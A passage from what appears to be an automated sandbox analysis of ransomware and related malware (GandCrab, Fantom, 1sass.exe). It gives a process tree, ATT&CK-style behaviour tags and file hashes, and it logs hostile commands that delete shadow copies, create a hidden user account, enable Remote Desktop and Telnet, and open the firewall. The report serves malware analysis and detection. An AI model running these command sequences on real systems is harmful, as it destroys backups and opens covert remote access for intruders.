                                                      reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4316
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3212
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
                                                      4⤵
                                                      • Hide Artifacts: Hidden Users
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4184
                                                    • C:\Windows\SysWOW64\attrib.exe
                                                      attrib C:\users\systembackup +r +a +s +h
                                                      4⤵
                                                      • Sets file to hidden
                                                      • System Location Discovery: System Language Discovery
                                                      • Views/modifies file attributes
                                                      PID:4860
                                                    • C:\Windows\SysWOW64\netsh.exe
                                                      netsh firewall add portopening TCP 3389 "Remote Desktop"
                                                      4⤵
                                                      • Modifies Windows Firewall
                                                      • Event Triggered Execution: Netsh Helper DLL
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1280
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      sc config tlntsvr start=auto
                                                      4⤵
                                                      • Launches sc.exe
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5060
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net start Telnet
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2748
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 start Telnet
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:696
                                                  • C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe
                                                    "C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Enumerates connected drives
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:3524
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5700 /prefetch:2
                                                  2⤵
                                                    PID:8776
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
                                                    2⤵
                                                      PID:5740
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3848 /prefetch:8
                                                      2⤵
                                                        PID:7480
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6752 /prefetch:8
                                                        2⤵
                                                          PID:5836
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
                                                          2⤵
                                                            PID:7668
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6012 /prefetch:8
                                                            2⤵
                                                              PID:6304
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6108 /prefetch:8
                                                              2⤵
                                                                PID:5964
                                                              • C:\Users\Admin\Downloads\Fantom.exe
                                                                "C:\Users\Admin\Downloads\Fantom.exe"
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5636
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2888 /prefetch:1
                                                                2⤵
                                                                  PID:4468
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4112 /prefetch:8
                                                                  2⤵
                                                                    PID:7756
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6916 /prefetch:8
                                                                    2⤵
                                                                      PID:5336
                                                                    • C:\Users\Admin\Downloads\GandCrab.exe
                                                                      "C:\Users\Admin\Downloads\GandCrab.exe"
                                                                      2⤵
                                                                      • Checks computer location settings
                                                                      • Drops startup file
                                                                      • Executes dropped EXE
                                                                      • Enumerates connected drives
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Checks processor information in registry
                                                                      PID:5232
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:7260
                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                    1⤵
                                                                      PID:3152
                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                      1⤵
                                                                        PID:4500
                                                                      • C:\Windows\system32\taskmgr.exe
                                                                        "C:\Windows\system32\taskmgr.exe" /0
                                                                        1⤵
                                                                        • Checks SCSI registry key(s)
                                                                        • Modifies Internet Explorer settings
                                                                        • Modifies registry class
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                        • Suspicious use of FindShellTrayWindow
                                                                        • Suspicious use of SendNotifyMessage
                                                                        PID:1820
                                                                      • C:\Windows\System32\rundll32.exe
                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                        1⤵
                                                                          PID:228
                                                                        • C:\Users\Admin\Downloads\ac\EVER\1saas\1sass.exe
                                                                          "C:\Users\Admin\Downloads\ac\EVER\1saas\1sass.exe"
                                                                          1⤵
                                                                          • Drops startup file
                                                                          • Executes dropped EXE
                                                                          • Adds Run key to start application
                                                                          • Drops desktop.ini file(s)
                                                                          • Drops file in System32 directory
                                                                          • Drops file in Program Files directory
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:3204
                                                                          • C:\Windows\system32\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe"
                                                                            2⤵
                                                                              PID:4100
                                                                              • C:\Windows\system32\mode.com
                                                                                mode con cp select=1251
                                                                                3⤵
                                                                                  PID:6320
                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                  vssadmin delete shadows /all /quiet
                                                                                  3⤵
                                                                                  • Interacts with shadow copies
                                                                                  PID:7332
                                                                            • C:\Windows\system32\vssvc.exe
                                                                              C:\Windows\system32\vssvc.exe
                                                                              1⤵
                                                                                PID:7920
                                                                              • C:\Windows\system32\taskmgr.exe
                                                                                "C:\Windows\system32\taskmgr.exe" /0
                                                                                1⤵
                                                                                  PID:6960
                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                  "C:\Windows\system32\taskmgr.exe" /0
                                                                                  1⤵
                                                                                  • Checks SCSI registry key(s)
                                                                                  • Checks processor information in registry
                                                                                  PID:6984

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\$Recycle.Bin\S-1-5-21-2839013668-2276131261-2828740280-1000\$IY2OWIA

                                                                                  Filesize

                                                                                  624B

                                                                                  MD5

                                                                                  b14823c1c65bcc59578857253851a613

                                                                                  SHA1

                                                                                  1cb6aba58ec4dbcca286f19b253bfd44c9d32654

                                                                                  SHA256

                                                                                  3307899f3c889257c75358eeeb06fd73e3a79259b6ae8bb340cd2667f230d0e3

                                                                                  SHA512

                                                                                  b08782519cda5e097ac6a813b7b643a3f013b64294deabf89df3d32d1e85919d3c2a1d6b874a4aa5333a285a864c44bc9cc5828216bd555b711bfda866f185ad

                                                                                • C:\$Recycle.Bin\S-1-5-21-2839013668-2276131261-2828740280-1000\$RY2OWIA\EVER\Everything.ini

                                                                                  Filesize

                                                                                  20KB

                                                                                  MD5

                                                                                  17c0eedc2c43d5db4dfd88ba18cd4e4a

                                                                                  SHA1

                                                                                  2ddb61b37841449ebf7e345db8c8703eaf79e0c8

                                                                                  SHA256

                                                                                  c43487f16c9535e4eee38d5da35a283e5ccbfbffd3031014a21a2b84721c184c

                                                                                  SHA512

                                                                                  32b5db64d149c3bcf553e9d97e6bc6431c27b99cd34a8df91214256a4c7b348d62615c5b0c2d1975738ced976398045dda7ed098f18d597c203b8186dcf3ffd2

                                                                                • C:\$Recycle.Bin\S-1-5-21-2839013668-2276131261-2828740280-1000\$RY2OWIA\EVER\Everything.ini

                                                                                  Filesize

                                                                                  20KB

                                                                                  MD5

                                                                                  9ba22d0460a40b8c6b2449227ce56921

                                                                                  SHA1

                                                                                  f74d39ee4b02dddd8d8f66d1b5c67009140d8436

                                                                                  SHA256

                                                                                  78044d9354f93a1af1e1de76976d7b5f1474fa5638240b692fd19dbeec209b18

                                                                                  SHA512

                                                                                  eb5e6595b393039b74019a53d6076b35b3f5068e73a99f5e1447ac9fa2fc2d343bfba559c4dbd291b4e5067eb97dc594a668b6192bf6c8284b54d7160986e4a7

                                                                                • C:\$Recycle.Bin\S-1-5-21-2839013668-2276131261-2828740280-1000\desktop.ini.id-2DAA3087.[[email protected]].ROGER

                                                                                  Filesize

                                                                                  378B

                                                                                  MD5

                                                                                  8c708f5e3101c3755afeb4cafde4bf23

                                                                                  SHA1

                                                                                  25927bfe0bda4dc455666f278c224bf0c01919b4

                                                                                  SHA256

                                                                                  e83166113e1e910ad75e7f8edda4aedd181c3d35345e70c239bddb9c8539f5ff

                                                                                  SHA512

                                                                                  2ed215c23246b8622d2f5e097d273ffcb82a8c652f16f4eee5e367ada584ffe8bcbf76e84ec5f36cbedf309b46302f25d1ea297549bf89b8e941afffb3d7d754

                                                                                • C:\$Recycle.Bin\S-1-5-21-2839013668-2276131261-2828740280-1000\desktop.ini.id-2DAA3087.[[email protected]].ROGER

                                                                                  Filesize

                                                                                  918B

                                                                                  MD5

                                                                                  c281a2d9df8ca05307372b01832d712c

                                                                                  SHA1

                                                                                  97604f5c0e70b333b755a65d74aff2d04c5d288f

                                                                                  SHA256

                                                                                  8056699a6c8639184bc40f29a98f1f9ac1c7db79b713296bafb20d8948d94cbb

                                                                                  SHA512

                                                                                  667db8171841a2a8e00a2211e64ac91870c38f1d955233b81655b15c2b8b3ce63e57559565359af852b12b56763e0c0d5c9dff05e325445e1f63e04b9a3bb457

                                                                                • C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32.dll.id-2DAA3087.[[email protected]].ROGER

                                                                                  Filesize

                                                                                  2.7MB

                                                                                  MD5

                                                                                  1006e01ddda64755804d18b80554a6ff

                                                                                  SHA1

                                                                                  fa1be76d47c6602945ae99832b133fa50e19731a

                                                                                  SHA256

                                                                                  e50ae9ca45ebef0931688cad0155efdc12303673c435ca9d966c2127ffbef571

                                                                                  SHA512

                                                                                  2792eb4e60cfd9a5913825e173ed5eb495434f1066ca50980eadf3128a2ffda80f71d7c87562b80f96b6b977f6fa36fc9edaf8df8a49f99c6d1d8a47ebe242f8

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\0cbbe33d-1ddd-4b8f-936b-02ed2e366777.tmp

                                                                                  Filesize

                                                                                  11KB

                                                                                  MD5

                                                                                  67d1066fc6dbb07193c6738aae4bb17c

                                                                                  SHA1

                                                                                  75c4e2984f29f599ddc70311b65d0a539432540a

                                                                                  SHA256

                                                                                  162360a01db88c1800ce87f4421488967192326a614c0a014d08ca3e07bf0207

                                                                                  SHA512

                                                                                  736ecf0057059443ca797e5ae8b5f22c78a36a72402998be05999af9b15e992b8c5372338b7805e7e7f6cea78042aec0276e616ca132cafa5038a802379da4c0

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                  Filesize

                                                                                  152B

                                                                                  MD5

                                                                                  0e97a507db8325bbdef7b1fcadf06f86

                                                                                  SHA1

                                                                                  7782c07045983db5ad0e43939b0c47b5f8e68736

                                                                                  SHA256

                                                                                  6f1f11f1f73b9c7c2e6866ea6759c409515884f382e22135c9ffde466accacb1

                                                                                  SHA512

                                                                                  47f8687649252eaa47447c56d53377577cfaad1d1a329f26d90d4b6a2f60110e022f262e98f77c409990909ed442e95a3a144971bda607fbbf8c5c52ca9f3f79

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  18b61cfbc7d8fe3dac617f9278225193

                                                                                  SHA1

                                                                                  721bf4c3b3f7c019dcb4c2a4b7b2cf089289c730

                                                                                  SHA256

                                                                                  0de47b549738f609032be78ba01dcd767d4fda43b8c7544a63b3bfd08e21583e

                                                                                  SHA512

                                                                                  aab3a8236b6c3148dd23ec5b8055c8c4638fe1f40a7a26127badffdff49ce2b82d3648e1996bc6bc451921fe40c9c1bd454618dbfab23ff2b3bc3bf1dffd69fa

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                  Filesize

                                                                                  111B

                                                                                  MD5

                                                                                  285252a2f6327d41eab203dc2f402c67

                                                                                  SHA1

                                                                                  acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                                                                                  SHA256

                                                                                  5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                                                                                  SHA512

                                                                                  11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                  Filesize

                                                                                  871B

                                                                                  MD5

                                                                                  3d54b4c74cae4dc0f409518ee6685b3d

                                                                                  SHA1

                                                                                  deaf74f43e5ac1a10d38502cd6571b2defac5d97

                                                                                  SHA256

                                                                                  098e9f9b01145c2ca73bb6d5f83abb456328096964b4040a477528fd7fb1ff67

                                                                                  SHA512

                                                                                  0172d0602ec339c648b54e6f0d4e8b26e1f74def4555fa50976a68f9e8f44b444310c54bf8ceb3bcc0c18e6a102cd49a6c3398f29ca3a76e131d1badee16cfbc

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  6KB

                                                                                  MD5

                                                                                  5265f55f405bb3011072ca345a50bd90

                                                                                  SHA1

                                                                                  4cf2d5c8b4c6cab0f6f2d302ad2206f9d808331d

                                                                                  SHA256

                                                                                  43a78526f61c69c0bdddea827a19296ca4e717e19d6714aea44e9a6fc5d67796

                                                                                  SHA512

                                                                                  4ea45a76edd944bd3343f080416b79992b264f57b8b24aa59f12de95cba66d9a94c88977f0bb2db5849a320b1ffcf32610a99ecea3656a3c513399e36e77e0ac

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  6KB

                                                                                  MD5

                                                                                  b8c43f59f69d02c5ed8a24b3a2f4bba7

                                                                                  SHA1

                                                                                  1153247e23a61921b1e69ab524fc5f9c6075466a

                                                                                  SHA256

                                                                                  1bc80f8e17e6bfb1935e6e7a0e529e77a9185a7e7cdcf3b2bde99127e23c8156

                                                                                  SHA512

                                                                                  47532f53e13d570e2542d17569df6f25b20ece88463477da421f79b7f136800370987f8a2b37442ac316bd638d4add68007dce4a15e7a3bbbf7cef469cc62d95

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  5KB

                                                                                  MD5

                                                                                  5463c3a0cd52bd2368e9a02e58aeaacb

                                                                                  SHA1

                                                                                  da0357337bb01388e93472d41b0d15afe18d2b96

                                                                                  SHA256

                                                                                  f12574eab5ebc2ce2a44ea44e882f1486eccf58dd2af39f17039370ef00213ca

                                                                                  SHA512

                                                                                  d61d937204f21cfc074d9c73487c1d8250e51c9e3382ca93730ff09e995c0f4e39a02743e5a08e1e13eab04da4997188b8a3a8f9dff0acaa5dfb90c2b6faa507

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  6KB

                                                                                  MD5

                                                                                  66a7a102f2e90966a5f48e277b309a95

                                                                                  SHA1

                                                                                  37bfffd5b5ab82835605a6a922c5209460697a30

                                                                                  SHA256

                                                                                  a162d0847c7cf8ad87bbcf18b2ad9a3493dc434ff82fa036b204db1512d768ec

                                                                                  SHA512

                                                                                  06c219e07661fd04919ffcc8f3c9ee7fc24ef45fb0c7a7dd63a156da10f558ab99a11f3f8c11003ff61b66f284fd9680888a51399475e8515b5569bd41f28397

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                                                                  Filesize

                                                                                  24KB

                                                                                  MD5

                                                                                  580f41a17061a1d849f7e9d60ff18aa6

                                                                                  SHA1

                                                                                  762fd39e2b9eb3e21d51f4ebd7c55e0557420800

                                                                                  SHA256

                                                                                  83637c94ec37e78e34bf1cda227eed230a7424e39f0dec45bc07cf3f4f22d139

                                                                                  SHA512

                                                                                  3ea6bae95cdf95e30429bd39dc5c8d0cd18337d63916972d21d0b86ae21b472fa1da6ff0f57f03268b447b47efd17b6ebd435df3737a3da562772b5f69038802

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  a80c0ea00ed236bf60be06507dc2ab70

                                                                                  SHA1

                                                                                  3a3ceacea5976e60a2c8fd954b928f5db0bd85f1

                                                                                  SHA256

                                                                                  ddf05bd20f152dca7a3bac832c15288b7e19d5916ea5808de925993ae3698926

                                                                                  SHA512

                                                                                  9879849247edf0645b0d201d7cc04fe1ff3ee1869fec4e2c9aad6c4e84257fe8ba5345c0f56a11ac7c562cd7e8314ad590e0e9a8c48f5694e12b41e5f8df90a4

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  cec069e3ee5bf1b1a2ce489c18a87908

                                                                                  SHA1

                                                                                  d41fb0d4095fee788819741c605262a27f9a2196

                                                                                  SHA256

                                                                                  d9da75b83d1dbce781c0a993b95c73c57f4056c3983a25ddea032c26a27103b3

                                                                                  SHA512

                                                                                  707c7cef8842c7a74023fd631575966bcd4f74056f25fe89b94222ffbc0470347c1a8be595557a636128fe62ed666dab501125bb37388439c039bc989b3b2687

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  5046c6e1a2a311e55928a33ad0394a7b

                                                                                  SHA1

                                                                                  ebf1d866ec579c416fdd592df84b3e530dba944b

                                                                                  SHA256

                                                                                  e6d62783776b9e24f4a7e82fbd860d810d2e3a47c7f1081f75904dd7d7759df2

                                                                                  SHA512

                                                                                  58c4c575e9e8e41c34b7ff608f90d75a79ee26417213df822ecd90b0425c5d7260b0a6f4c40fd778174225024e9ae8da0526c10fcd3813200d39498c63c0a6fa

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  2f9ab6270358cd8fdeedf7503f76100f

                                                                                  SHA1

                                                                                  aaf9fa6edbd05c0746f2c3f9c23dcdd2e52bd96c

                                                                                  SHA256

                                                                                  21b660bc08ce6b853f10c8e755cc38938c4c10cd946ac4519d9bb3d4c38b29fa

                                                                                  SHA512

                                                                                  4165f886749028dac5d66e65465445ced56dea3b0192578a9f88a40fc10a77329536611d127588ef4d5d19fe1330a5c006c490edab8e3938e26f2a7fab4a560b

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  4531aadc6026c7355f2567f964822c44

                                                                                  SHA1

                                                                                  d675ee50aa2f23d27d3b6c95c0489c9728bb3661

                                                                                  SHA256

                                                                                  0fbb7ca3953c9210210a58a23bc16166064c2a464b25fb886649f47749ead667

                                                                                  SHA512

                                                                                  59d381261393c92f6a071ffdcf63a98bf39190a85afa1ea50e298bb6d93ee2c4b22e303ef025a3e5aee02cfeb732f2818d6bce7b0ef7d5a8f8045c1422992227

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  0a117c1bb54307adc58124f02193235c

                                                                                  SHA1

                                                                                  2394432e7697ef94c39e390869a8436aa7d5818b

                                                                                  SHA256

                                                                                  674ab8308304076cc0c54e7f9f799b9a716fafd8f5a84b6a2260afcdaae14e77

                                                                                  SHA512

                                                                                  9aadd162d33419404f153e18f0645aa44cedd78df6f2ab5bc4188c96c401c2831070eed2536e56ed5c583df19d729c547d718300c7f40e83c1e2f82f0b1db8fb

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  15c1150ec18b099d5ee933132857a462

                                                                                  SHA1

                                                                                  4a2b8de66b55815d57536d1cc0d80daa03c79b65

                                                                                  SHA256

                                                                                  c3fae0ca228f229892036711e1301fca2b8ffc7f2f4ec4b6df051b42d254764f

                                                                                  SHA512

                                                                                  ca9ab8e926ad31a6906a41075abb76583b473629c60b8e01cfb6c48ccafab33cc5a903487f7b08044a0b2fcbe63e0f514b6a4cb1e88d8780ac61e5a2d7e77691

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe582b70.TMP

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  57aab2d8a63b8f379cbe57b324452259

                                                                                  SHA1

                                                                                  5c3b14e48c2e4ba04ff7d60309ae83cb9d22fa7c

                                                                                  SHA256

                                                                                  6f386fb8d889a1ad3c09128d47f7da93cf105273c7dc8429e32d98cfda68bef1

                                                                                  SHA512

                                                                                  e0819634e1dbfd765f7fbc27ce3e44659700b128323b1f9610a1dc6aedad5d172a5258ffde313b83b84daaf87f546929a338dd011d2ee78b3d893116a7bbb634

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                  Filesize

                                                                                  16B

                                                                                  MD5

                                                                                  6752a1d65b201c13b62ea44016eb221f

                                                                                  SHA1

                                                                                  58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                  SHA256

                                                                                  0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                  SHA512

                                                                                  9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  10KB

                                                                                  MD5

                                                                                  3dd0602ec2560e5a2d382b385ca9f371

                                                                                  SHA1

                                                                                  b96597a94efa9b4936334fcc6f248f45c00cc585

                                                                                  SHA256

                                                                                  c5fd341020c6a048cb9e62e9903726137e1760583837820c8ecc661c7b73c47e

                                                                                  SHA512

                                                                                  d5a22c2d64feb7b3de8f156e94a1f5a1a100e740f537721d41e4af481b64d5b1a83a39809b3ed9a6c07cb056e8de484f2db29deae1ad13394bd776ad6315ca8b

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  11KB

                                                                                  MD5

                                                                                  e3cdded299593e59ded475edefed25f9

                                                                                  SHA1

                                                                                  c4c138e932722cb1cdecccada51880566b87e802

                                                                                  SHA256

                                                                                  7e7c28e1811e1540c8fb63c30f7d89d5937a9ccbb8e8bea74d92ce829992f3cf

                                                                                  SHA512

                                                                                  90f0e84f130a9fdcf6a0dff46ea7fff20fb375cd49e8b3d15d426d3f6d24e9f9beda5a46d849a8dccf60aca241a219b1da7eab0d25a1f607bcaeac3cf441a8e7

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  11KB

                                                                                  MD5

                                                                                  2cebebda6fbcbbe3faa5ed9d02a95860

                                                                                  SHA1

                                                                                  e82bd9cd9da1f844b15798426a07fc5c65bb9211

                                                                                  SHA256

                                                                                  5d97258c55106dca155c78a55cca8ae511673c3f5ece5591d6fbf82bb55e0e72

                                                                                  SHA512

                                                                                  aca19902a652cec86b893802b0cddc6dc3c89c107a2a309095a45015ece94dabf5770b789ed34de3f27928ad1ace07bf611b9bda11543f615cfde1290e612ea9

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  10KB

                                                                                  MD5

                                                                                  9cf9309ecab82139ec1371957f89afb3

                                                                                  SHA1

                                                                                  f36431d167b98aa9e776506722e7b326d1e0c773

                                                                                  SHA256

                                                                                  ec998fb67f621a2e8c70f2b68bbe261967c0349ed3e5933b1e5f721ed45b98f5

                                                                                  SHA512

                                                                                  174356645fff753fe3e41e139a2bd563149fc0453264ebe2e32bb16782df58749e975c6ab0f343a7e4cef0ec04439806f3688feafd3332076964a2158f7a6f39

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  11KB

                                                                                  MD5

                                                                                  322b7aea60dd74d5c5830b785f0ff39f

                                                                                  SHA1

                                                                                  f6e7033c57b7927761cc0015524c3f34a50364fa

                                                                                  SHA256

                                                                                  557f964d215949654e5f9119a8de680f747f806bf1507cdf29d93993e33bfc2b

                                                                                  SHA512

                                                                                  4111937ad6361bc35a9485dfc93f8e631758a8210452b0f22a7f72a46adf32909d0153fbc0d44b499247ce4f64803519c1b873fa2eb49806b5fc5d657bf3e8a4

                                                                                • C:\Users\Admin\Downloads\Unconfirmed 113928.crdownload

                                                                                  Filesize

                                                                                  11.5MB

                                                                                  MD5

                                                                                  928e37519022745490d1af1ce6f336f7

                                                                                  SHA1

                                                                                  b7840242393013f2c4c136ac7407e332be075702

                                                                                  SHA256

                                                                                  6fb303dd8ba36381948127d44bd8541e4a1ab8af07b46526ace08458f2498850

                                                                                  SHA512

